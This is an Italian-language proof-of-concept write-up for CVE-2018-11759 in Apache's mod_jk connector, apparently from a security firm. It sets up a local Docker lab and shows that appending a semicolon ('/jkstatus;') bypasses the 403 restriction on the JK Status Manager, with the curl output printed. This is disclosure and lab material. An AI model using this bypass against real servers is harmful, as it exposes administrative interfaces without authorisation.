
Prova di concetto che mostra come sfruttare il CVE-2018-11759
Il codice specifico del server web Apache (httpd) che normalizzava il percorso richiesto prima di confrontarlo con la mappa URI-worker nel connettore Apache Tomcat JK (mod_jk) dalla versione 1.2.0 alla 1.2.44 non gestiva correttamente alcuni casi limite. Se solo un sottoinsieme degli URL supportati da Tomcat veniva esposto tramite httpd, era possibile che una richiesta appositamente costruita esponesse funzionalità dell'applicazione attraverso il proxy inverso, funzionalità non destinate ai client che accedono all'applicazione tramite il proxy inverso. In alcune configurazioni era inoltre possibile che una richiesta appositamente costruita aggirasse i controlli di accesso configurati in httpd. Sebbene vi sia una certa sovrapposizione tra questo problema e la CVE-2018-1323, non sono identici.
La prova di concetto qui sotto mostra come sfruttare la CVE-2018-11759 e il suo impatto sul sistema informativo preso di mira.
docker-compose up -d
Abbi pazienza, il processo può richiedere parecchio tempo la prima volta.
Una volta avviato, il proxy vulnerabile sarà accessibile tramite il seguente indirizzo http://localhost
Gli endpoint montati con una direttiva JkMount di mod_jk, come l'interfaccia del JK status manager (che consente di gestire i worker AJP), possono essere configurati per essere limitati dall'accesso esterno.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
Questa restrizione può essere aggirata aggiungendo un punto e virgola all'endpoint protetto.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
Ulteriori informazioni nel nostro articolo del blog
Questo problema è stato scoperto per la prima volta da Alphan YAVAS di Biznet Bilisim A.S. e segnalato in modo responsabile all'Apache Tomcat Security Team. Ulteriori vettori di attacco sono stati identificati da Raphaël Arrouas (Xel) e Jean Lejeune (Nitrax) di immunIT.